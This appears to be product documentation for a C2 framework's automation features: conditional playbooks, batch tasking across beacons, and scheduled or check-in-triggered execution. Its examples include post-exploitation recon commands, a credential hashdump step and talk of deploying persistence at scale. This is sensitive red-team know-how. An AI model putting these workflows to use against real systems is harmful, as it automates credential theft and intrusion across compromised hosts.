Playbooks¶
Playbooks are operator-defined, multi-step workflows that automate sequences of beacon techniques. Each playbook contains an ordered list of steps -- action steps that enqueue C2 tasks, and conditional steps that branch based on live beacon metadata. When executed against a beacon, the playbook engine evaluates conditions in real time, selects the appropriate branch, enqueues all resulting tasks, and logs every decision for post-operation review.
Overview¶
A playbook solves the problem of repeatedly running the same sequence of post-exploitation techniques across multiple beacons. Instead of manually issuing commands one at a time, an operator defines a playbook once and executes it against any active beacon.
Key capabilities:
- Ordered step execution -- Steps run in sequence by their
orderfield - Conditional branching -- Steps can branch based on beacon properties (OS, hostname, elevated, architecture, etc.)
- Nested conditions -- Conditional steps support if/then/else and multi-branch (switch-style) patterns, with arbitrary nesting depth
- Execution logging -- Every decision (which branch was taken, what condition values were observed) is recorded
- Full CRUD API -- Create, read, update, delete, and execute playbooks via REST
flowchart TD
A[Operator triggers playbook] --> B[Fetch playbook steps]
B --> C{Step type?}
C -->|action| D[Map technique to C2 task]
D --> E[Enqueue task for beacon]
E --> F[Log action step]
C -->|conditional| G[Evaluate condition against beacon state]
G -->|if/then/else| H{Condition true?}
H -->|yes| I[Execute then steps]
H -->|no| J[Execute else steps]
G -->|multi-branch| K{Evaluate branches in order}
K -->|match| L[Execute matched branch steps]
K -->|no match| M[Execute else steps or skip]
I --> F
J --> F
L --> F
M --> F
F --> N{More steps?}
N -->|yes| C
N -->|no| O[Return execution ID + task IDs] Playbook Object¶
A playbook is stored in the c2_playbooks table and returned as JSON from all API endpoints.
| Field | Type | Description |
|---|---|---|
id | string (UUID) | Unique playbook identifier |
name | string | Display name |
description | string | Optional description |
steps | PlaybookStep[] | Ordered array of action and conditional steps |
created_by | string (UUID) | Operator who created the playbook |
created_at | string (ISO 8601) | Creation timestamp |
updated_at | string (ISO 8601) | Last update timestamp |
Step Types¶
Every step has a type field that determines its behavior. Steps without a type field default to "action" for backward compatibility.
Action Steps¶
An action step maps a technique_id to a C2 task and enqueues it for the target beacon. The params object is passed through to the technique mapper.
| Field | Type | Required | Description |
|---|---|---|---|
type | string | No | "action" (default if omitted) |
technique_id | string | Yes | Technique identifier (e.g., "exec.shell", "creds.hashdump", "privesc.getsystem") |
params | object | No | Technique-specific parameters |
order | integer | Yes | Execution order (lower runs first) |
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "whoami /all" },
"order": 1
}
Conditional Steps¶
A conditional step evaluates beacon metadata at execution time and branches to different sub-steps based on the result. Two patterns are supported:
- If/then/else -- A single condition with
thenand optionalelsebranches - Multi-branch (switch) -- An ordered list of named branches; the first matching branch wins, with an optional
elsefallback
| Field | Type | Required | Description |
|---|---|---|---|
type | string | Yes | Must be "conditional" |
order | integer | Yes | Execution order |
conditional | object | Yes | The conditional configuration (see below) |
The conditional object:
| Field | Type | Required | Description |
|---|---|---|---|
condition | ConditionGroup | Yes (if/then/else) | Primary condition to evaluate |
then | PlaybookStep[] | Yes (if/then/else) | Steps to run if condition is true |
else | PlaybookStep[] | No | Steps to run if condition is false or no branch matches |
branches | ConditionalBranch[] | No | Multi-branch list (evaluated in order, first match wins) |
Each ConditionalBranch:
| Field | Type | Required | Description |
|---|---|---|---|
name | string | Yes | Human-readable label (used in execution logs) |
condition | ConditionGroup | Yes | Branch condition |
steps | PlaybookStep[] | Yes | Steps to execute if this branch matches |
Condition Engine¶
Conditions evaluate live beacon metadata at execution time. They are composed into groups using boolean combinators.
Condition Fields¶
The following beacon metadata fields can be referenced in conditions:
| Field | Type | Description |
|---|---|---|
elevated | boolean | Whether the beacon runs with elevated privileges |
os | string | Operating system (e.g., "Windows 10 Pro 19045") |
hostname | string | Machine hostname |
username | string | Current user (e.g., "CORP\\jsmith") |
pid | integer | Beacon process ID |
arch | string | Architecture ("x64" or "x86") |
sleep | integer | Current sleep interval in milliseconds |
jitter | integer | Current jitter percentage |
tags | string[] | Operator-assigned tags |
ip | string | Beacon IP address |
note | string | Operator note |
Operators¶
Available comparison operators depend on the field type:
| Operator | Description |
|---|---|
== | Exact equality |
!= | Not equal |
contains | Substring match |
not_contains | Substring exclusion |
matches | Regular expression match |
in | Value is in a provided list |
| Operator | Description |
|---|---|
== | Equal |
!= | Not equal |
> | Greater than |
< | Less than |
>= | Greater than or equal |
<= | Less than or equal |
| Operator | Description |
|---|---|
== | Equal |
!= | Not equal |
| Operator | Description |
|---|---|
contains | Slice contains value |
not_contains | Slice does not contain value |
Condition Groups¶
Conditions are composed into groups with boolean combinators:
| Group Operator | Description |
|---|---|
and | All conditions and sub-groups must be true (default if omitted) |
or | At least one condition or sub-group must be true |
not | Negates exactly one condition or sub-group |
Groups can be nested to build arbitrarily complex boolean expressions:
{
"operator": "and",
"conditions": [
{ "field": "elevated", "operator": "==", "value": false }
],
"groups": [
{
"operator": "or",
"conditions": [
{ "field": "os", "operator": "contains", "value": "Windows 10" },
{ "field": "os", "operator": "contains", "value": "Windows 11" }
]
}
]
}
This evaluates to: beacon is not elevated AND (OS contains "Windows 10" OR OS contains "Windows 11").
Empty Groups
An empty condition group (no conditions, no sub-groups) evaluates to true (vacuous truth). The default group operator is "and" when omitted.
API Reference¶
All playbook endpoints are under the cockpit route group and require JWT authentication.
Base path: /api/v1/cockpit/playbooks
Create Playbook¶
POST /api/v1/cockpit/playbooks
Request Body:
| Field | Type | Required | Description |
|---|---|---|---|
name | string | Yes | Playbook name |
description | string | No | Description |
steps | PlaybookStep[] | Yes | Array of step objects |
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Initial Recon",
"description": "Basic host reconnaissance playbook",
"steps": [
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "whoami /all" },
"order": 1
},
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "ipconfig /all" },
"order": 2
},
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "net localgroup administrators" },
"order": 3
}
]
}'
Response (201 Created):
List Playbooks¶
GET /api/v1/cockpit/playbooks
Returns all playbooks ordered by creation date (newest first).
Get Playbook¶
GET /api/v1/cockpit/playbooks/:id
curl -s https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID \
-H "Authorization: Bearer $TOKEN"
Update Playbook¶
PUT /api/v1/cockpit/playbooks/:id
Request Body: Same as Create (all fields required).
curl -s -X PUT https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Initial Recon v2",
"description": "Updated reconnaissance playbook",
"steps": [...]
}'
Delete Playbook¶
DELETE /api/v1/cockpit/playbooks/:id
curl -s -X DELETE https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID \
-H "Authorization: Bearer $TOKEN"
Response: 204 No Content
Execute Playbook¶
POST /api/v1/cockpit/playbooks/:id/execute
Executes the playbook against a target beacon. Conditional steps are evaluated using live beacon metadata from the beacon registry. All resulting tasks are enqueued and returned.
Request Body:
| Field | Type | Required | Description |
|---|---|---|---|
beacon_id | string (UUID) | Yes | Target beacon to execute against |
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/execute \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"}'
Response (202 Accepted):
{
"playbook_id": "c3d4e5f6-a1b2-7890-abcd-ef1234567890",
"beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"execution_id": "f7e8d9c0-b1a2-3456-7890-abcdef123456",
"task_ids": [
"11111111-2222-3333-4444-555555555555",
"66666666-7777-8888-9999-aaaaaaaaaaaa",
"bbbbbbbb-cccc-dddd-eeee-ffffffffffff"
],
"status": "queued"
}
Beacon Must Be Active
The target beacon must exist in the live beacon registry (i.e., the implant must have checked in at least once). Executing against a beacon ID that is not in the registry returns an error.
Error Responses:
| Status | Body | Cause |
|---|---|---|
| 400 | {"error": "invalid playbook ID"} | Malformed UUID |
| 400 | {"error": "invalid beacon_id format"} | Malformed beacon UUID |
| 500 | {"error": "beacon ... not found in registry"} | Beacon not active |
| 500 | {"error": "get playbook: ..."} | Playbook not found |
List Executions¶
GET /api/v1/cockpit/playbooks/:id/executions
Returns recent execution log entries for a playbook. Each entry represents one step decision (action enqueued or conditional branch taken).
Query Parameters:
| Parameter | Type | Default | Description |
|---|---|---|---|
limit | integer | 20 | Maximum number of log entries to return |
curl -s "https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/executions?limit=50" \
-H "Authorization: Bearer $TOKEN"
Get Execution Logs¶
GET /api/v1/cockpit/playbooks/:id/executions/:executionId/logs
Returns detailed decision logs for a specific execution run, ordered by step order and creation time.
curl -s "https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/executions/$EXECUTION_ID/logs" \
-H "Authorization: Bearer $TOKEN"
Response (200 OK):
[
{
"id": "aaa11111-bbbb-cccc-dddd-eeeeeeeeeeee",
"playbook_id": "c3d4e5f6-a1b2-7890-abcd-ef1234567890",
"execution_id": "f7e8d9c0-b1a2-3456-7890-abcdef123456",
"beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"step_order": 1,
"step_type": "action",
"branch_taken": null,
"condition_values": null,
"condition_result": null,
"task_ids": ["11111111-2222-3333-4444-555555555555"],
"created_at": "2026-02-21T10:01:00Z"
},
{
"id": "bbb22222-cccc-dddd-eeee-ffffffffffff",
"playbook_id": "c3d4e5f6-a1b2-7890-abcd-ef1234567890",
"execution_id": "f7e8d9c0-b1a2-3456-7890-abcdef123456",
"beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"step_order": 2,
"step_type": "conditional",
"branch_taken": "then",
"condition_values": { "elevated": false, "os": "Windows 10 Pro 19045" },
"condition_result": true,
"task_ids": ["66666666-7777-8888-9999-aaaaaaaaaaaa"],
"created_at": "2026-02-21T10:01:01Z"
}
]
Execution Log Fields¶
Each execution log entry records the outcome of a single step evaluation.
| Field | Type | Description |
|---|---|---|
id | string (UUID) | Log entry ID |
playbook_id | string (UUID) | Parent playbook |
execution_id | string (UUID) | Groups all entries from one execution run |
beacon_id | string (UUID) | Target beacon |
step_order | integer | Which step in the playbook |
step_type | string | "action" or "conditional" |
branch_taken | string or null | For conditionals: "then", "else", a branch name, or "none" (skipped) |
condition_values | object or null | Snapshot of beacon field values used in condition evaluation |
condition_result | boolean or null | Whether the condition evaluated to true |
task_ids | string[] | C2 task IDs enqueued by this step |
created_at | string (ISO 8601) | When this step was evaluated |
Examples¶
Conditional Playbook: Privilege-Aware Recon¶
This playbook checks whether the beacon is elevated and runs different techniques accordingly:
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Privilege-Aware Recon",
"description": "Runs elevated or standard recon based on beacon integrity level",
"steps": [
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "whoami /priv" },
"order": 1
},
{
"type": "conditional",
"order": 2,
"conditional": {
"condition": {
"operator": "and",
"conditions": [
{ "field": "elevated", "operator": "==", "value": true }
]
},
"then": [
{
"type": "action",
"technique_id": "creds.hashdump",
"params": {},
"order": 1
},
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "netstat -ano" },
"order": 2
}
],
"else": [
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "net user %USERNAME% /domain" },
"order": 1
}
]
}
}
]
}'
Multi-Branch Playbook: OS-Specific Actions¶
This playbook uses the multi-branch pattern to run different steps based on the beacon's operating system:
{
"name": "OS-Specific Collection",
"description": "Runs collection techniques based on target OS",
"steps": [
{
"type": "conditional",
"order": 1,
"conditional": {
"condition": { "operator": "and", "conditions": [] },
"then": [],
"branches": [
{
"name": "Windows 10",
"condition": {
"operator": "and",
"conditions": [
{ "field": "os", "operator": "contains", "value": "Windows 10" }
]
},
"steps": [
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "systeminfo" },
"order": 1
}
]
},
{
"name": "Windows Server",
"condition": {
"operator": "and",
"conditions": [
{ "field": "os", "operator": "contains", "value": "Server" }
]
},
"steps": [
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "nltest /dclist:" },
"order": 1
}
]
}
],
"else": [
{
"type": "action",
"technique_id": "exec.shell",
"params": { "command": "hostname" },
"order": 1
}
]
}
}
]
}
Branch Evaluation Order
In multi-branch mode, branches are evaluated in array order. The first branch whose condition evaluates to true is executed. If no branch matches, the else steps run (if provided). If there is no else, the step is skipped and logged with branch_taken: "none".
UI Integration¶
The Playbooks page (/playbooks) provides a visual interface for playbook management:
- Card grid -- Each playbook is displayed as a card showing name, description, step count, and a "Conditional" badge if any step uses branching
- Execute -- Select an active beacon from the dropdown and click the play button to execute
- History -- Click "History" to view past executions grouped by execution ID
- Execution logs -- Drill into any execution to see step-by-step decision logs (which branches were taken, what condition values were observed)
- Create/Edit -- The PlaybookDialog supports adding action and conditional steps with a visual condition editor
Cross-References¶
- REST API Reference -- Playbook endpoints are listed under the Cockpit section
- Beacon Commands -- The techniques referenced by
technique_idin playbook steps - Scripting -- CNA scripts can also automate beacon workflows via event hooks
Batch Task Execution¶
Batch tasks let you execute a single task definition across multiple beacons simultaneously. The backend dispatches the task to each target beacon in parallel, tracks per-beacon progress, and aggregates results into a single batch record. This is the primary mechanism for running post-exploitation commands at scale -- for example, executing whoami /all across every Windows workstation in a group, or deploying a persistence mechanism to all beacons matching a hostname filter.
Targeting Beacons¶
There are two mutually exclusive ways to specify which beacons receive the batch task: explicit beacon IDs or filter-based targeting.
Explicit Selection¶
Select specific beacons by passing their UUIDs in the beacon_ids array. In the UI, shift-click or ctrl-click beacons in the cockpit table to select multiple, then right-click and choose "Batch Task".
curl -s -X POST https://stentor.app/api/v1/c2/batch-tasks \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_ids": [
"a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"b2c3d4e5-f6a1-8901-bcde-f12345678901"
],
"task": {
"type": "exec.shell",
"data": {"command": "whoami /all"}
}
}'
Filter-Based Targeting¶
Instead of explicit IDs, pass a filter object and the backend resolves matching beacons from the live registry at execution time. All filter fields use case-insensitive substring matching.
| Filter Field | Type | Description |
|---|---|---|
os | string | Match beacons whose OS contains this substring (e.g., "Windows 10") |
hostname | string | Match beacons whose hostname contains this substring (e.g., "WS") |
username | string | Match beacons whose username contains this substring (e.g., "admin") |
group_id | string (UUID) | Match beacons that belong to the specified group |
Group-Based Targeting
Use the group_id filter to target all beacons in a named group. Groups can be managed from the cockpit UI or via the beacon grouping API. See Beacon Grouping for details on creating and managing groups.
Mutually Exclusive
beacon_ids and filter cannot be used together in the same request. If both are provided, the API returns an error: "beacon_ids and filter are mutually exclusive".
Batch Task Object¶
A batch task record tracks the overall job and is stored in the batch_tasks table.
| Field | Type | Description |
|---|---|---|
id | string (UUID) | Unique batch task identifier |
task_type | string | The task type dispatched to each beacon (e.g., "exec.shell") |
task_data | object | The task data/parameters passed to each beacon |
status | string | Overall batch status: "pending", "running", or "completed" |
total_count | integer | Total number of target beacons |
completed_count | integer | Number of beacons that completed the task |
failed_count | integer | Number of beacons that failed |
created_by | string (UUID) | Operator who created the batch task |
created_at | string (ISO 8601) | Creation timestamp |
completed_at | string (ISO 8601) or null | Timestamp when all items finished (null while running) |
Each beacon in the batch has a corresponding BatchTaskItem:
| Field | Type | Description |
|---|---|---|
id | string (UUID) | Item identifier |
batch_id | string (UUID) | Parent batch task |
beacon_id | string (UUID) | Target beacon |
task_id | string (UUID) or null | The C2 task ID created for this beacon (null if not yet dispatched) |
status | string | Per-beacon status: "pending", "dispatched", "completed", or "failed" |
output | string or null | Task output from the beacon |
error | string or null | Error message if the task failed |
created_at | string (ISO 8601) | When the item was created |
completed_at | string (ISO 8601) or null | When the item finished |
Progress Tracking¶
Batch task progress is tracked using a sync-on-read pattern. When you fetch a batch task, the backend queries the underlying c2_tasks table for any dispatched items that have since completed or failed, and updates the batch items accordingly before returning the response.
API: GET /api/v1/c2/batch-tasks/:id returns the batch task with all its items and synced statuses.
Response:
{
"id": "f1e2d3c4-b5a6-7890-abcd-ef1234567890",
"task_type": "exec.shell",
"task_data": {"command": "whoami /all"},
"status": "running",
"total_count": 5,
"completed_count": 3,
"failed_count": 1,
"created_by": "00000000-0000-0000-0000-000000000000",
"created_at": "2026-02-21T10:00:00Z",
"completed_at": null,
"items": [
{
"id": "aaa11111-...",
"beacon_id": "a1b2c3d4-...",
"task_id": "11111111-...",
"status": "completed",
"output": "USER INFORMATION\n----------------\nCORP\\jsmith ...",
"error": null,
"completed_at": "2026-02-21T10:00:05Z"
},
{
"id": "bbb22222-...",
"beacon_id": "b2c3d4e5-...",
"task_id": "22222222-...",
"status": "dispatched",
"output": null,
"error": null,
"completed_at": null
}
]
}
In the UI, the BatchProgressPanel displays a progress bar with beacon-by-beacon status indicators. Each item shows the target beacon's hostname, current task status, execution duration, and an output preview.
Aggregated Results¶
When all items in a batch have completed or failed, the batch status transitions to "completed" and the completed_at timestamp is set. The items array in the response contains the full per-beacon output.
Each item in the results includes:
| Field | Description |
|---|---|
beacon_id | Target beacon UUID |
status | "completed" or "failed" |
output | Full task output from the beacon |
error | Error message (if failed, or non-fatal error alongside output) |
completed_at | When this beacon's task finished |
In the UI, the results view shows collapsible per-beacon output panels. Each panel displays the beacon hostname and output, with a copy-to-clipboard button for easy extraction.
Filtering Results
Poll the batch task endpoint and inspect each item's status field to filter by outcome. For example, to find only failed beacons, filter items where status == "failed" to quickly identify and troubleshoot issues.
Batch Task API Reference¶
All batch task endpoints are under the C2 route group and require JWT authentication.
Base path: /api/v1/c2/batch-tasks
| Method | Endpoint | Description |
|---|---|---|
POST | /api/v1/c2/batch-tasks | Create and execute a batch task |
GET | /api/v1/c2/batch-tasks | List recent batch tasks (up to 50) |
GET | /api/v1/c2/batch-tasks/:id | Get batch task with items and synced statuses |
Create Response (201 Created):
{
"id": "f1e2d3c4-b5a6-7890-abcd-ef1234567890",
"total": 5,
"dispatched": 4,
"failed": 1,
"errors": ["beacon b2c3d4e5-...: beacon not active"]
}
The dispatched count indicates how many beacons successfully received the task. The failed count and errors array report any beacons that could not be reached (e.g., beacon no longer active in the registry).
Scheduled Playbooks¶
Scheduled playbooks automate playbook execution on time-based schedules or event-based triggers without manual intervention. Instead of manually clicking "Execute" each time, an operator configures a schedule and the system runs the playbook automatically at the specified times or when specific events occur (such as a new beacon checking in).
Schedule Types¶
Each schedule has a schedule_type that determines when it fires:
| Schedule Type | Description | Key Parameters |
|---|---|---|
once | Execute at a specific future time | next_run_at (ISO 8601 timestamp) |
interval | Execute every N seconds | interval_seconds (integer) |
daily | Execute daily at a specific time | cron_expression (e.g., "0 9 * * *" for 9 AM daily) |
weekly | Execute weekly on a specific day/time | cron_expression (e.g., "0 9 * * 1" for Monday 9 AM) |
Once schedules are useful for maintenance windows or delayed operations -- for example, scheduling a credential harvesting playbook to run at 2 AM during a change window.
Interval schedules run repeatedly at a fixed cadence. For example, interval_seconds: 14400 runs the playbook every 4 hours.
Daily and Weekly schedules use standard cron expressions for precise timing control.
Trigger-Based Execution¶
In addition to time-based scheduling, playbooks can be triggered by events using the trigger_type field.
on_beacon_initial -- Automatically execute the playbook when any new beacon checks in for the first time. This is extremely useful for initial reconnaissance playbooks that run standard enumeration commands (whoami, ipconfig, net user, etc.) on every newly compromised host without operator intervention.
When trigger_type is set to "on_beacon_initial", the schedule fires on new beacon events instead of time-based triggers. The schedule_type and next_run_at fields are still required but serve as fallback scheduling parameters.
Rate Limiting
If many beacons check in simultaneously (for example, after deploying a payload across multiple hosts), each beacon gets its own independent playbook execution. Monitor execution logs during mass deployments to avoid overwhelming the C2 channel.
Creating Schedules¶
API: POST /api/v1/cockpit/playbooks/:id/schedules
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"schedule_type": "daily",
"cron_expression": "0 9 * * *",
"trigger_type": "scheduled",
"next_run_at": "2026-02-22T09:00:00Z",
"beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
}'
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"schedule_type": "interval",
"interval_seconds": 14400,
"trigger_type": "scheduled",
"next_run_at": "2026-02-21T14:00:00Z",
"beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
}'
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"schedule_type": "once",
"trigger_type": "scheduled",
"next_run_at": "2026-02-22T02:00:00Z",
"beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
}'
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"schedule_type": "weekly",
"cron_expression": "0 9 * * 1",
"trigger_type": "scheduled",
"next_run_at": "2026-02-24T09:00:00Z",
"beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
}'
UI workflow: In the Playbooks page, click the "Schedule" button on any playbook card to open the PlaybookScheduleDialog. Select the schedule type, configure parameters (cron expression, interval, target time), choose target beacons, and toggle the enabled switch.
Managing Schedules¶
List Schedules¶
GET /api/v1/cockpit/playbooks/:id/schedules
Returns all schedules for a playbook.
curl -s https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
-H "Authorization: Bearer $TOKEN"
Update Schedule¶
PUT /api/v1/cockpit/playbooks/:id/schedules/:scheduleId
Modify schedule parameters or enable/disable a schedule without deleting it.
# Disable a schedule
curl -s -X PUT https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules/$SCHEDULE_ID \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"enabled": false}'
# Update cron expression
curl -s -X PUT https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules/$SCHEDULE_ID \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cron_expression": "0 6 * * *"}'
Delete Schedule¶
DELETE /api/v1/cockpit/playbooks/:id/schedules/:scheduleId
Permanently removes a schedule.
curl -s -X DELETE https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules/$SCHEDULE_ID \
-H "Authorization: Bearer $TOKEN"
Response: 204 No Content
Execution Logs & Trigger Badges¶
Scheduled executions appear in the same execution log as manual runs. Each log entry includes a trigger_type field indicating how the execution was triggered:
| Trigger Badge | Value | Description |
|---|---|---|
| Manual | "manual" | Operator clicked Execute in the UI or called the execute API directly |
| Scheduled | "scheduled" | Execution was triggered by a time-based schedule |
| Beacon Initial | "on_beacon_initial" | Execution was triggered by a new beacon check-in |
API: GET /api/v1/cockpit/playbooks/:id/executions includes the trigger_type field in each execution entry. Use this field to filter execution logs by trigger type.
curl -s "https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/executions?limit=50" \
-H "Authorization: Bearer $TOKEN"
In the UI, execution history entries display a colored trigger badge next to the execution timestamp, making it easy to distinguish between manual and automated runs at a glance.
Schedule Object¶
A playbook schedule is stored in the c2_playbook_schedules table and returned as JSON from all schedule endpoints.
| Field | Type | Description |
|---|---|---|
id | string (UUID) | Unique schedule identifier |
playbook_id | string (UUID) | Parent playbook |
schedule_type | string | "once", "interval", "daily", or "weekly" |
cron_expression | string or null | Cron expression for daily/weekly schedules |
interval_seconds | integer or null | Interval in seconds for interval schedules |
trigger_type | string | "scheduled" (default) or "on_beacon_initial" |
next_run_at | string (ISO 8601) | Next scheduled execution time |
last_run_at | string (ISO 8601) or null | Last execution timestamp |
enabled | boolean | Whether the schedule is active |
beacon_ids | string[] | Target beacon UUIDs for scheduled execution |
created_at | string (ISO 8601) | Creation timestamp |
updated_at | string (ISO 8601) | Last update timestamp |
Schedule API Reference¶
All schedule endpoints are nested under a playbook and require JWT authentication.
Base path: /api/v1/cockpit/playbooks/:id/schedules
| Method | Endpoint | Description |
|---|---|---|
POST | /api/v1/cockpit/playbooks/:id/schedules | Create a schedule for a playbook |
GET | /api/v1/cockpit/playbooks/:id/schedules | List all schedules for a playbook |
PUT | /api/v1/cockpit/playbooks/:id/schedules/:scheduleId | Update a schedule |
DELETE | /api/v1/cockpit/playbooks/:id/schedules/:scheduleId | Delete a schedule |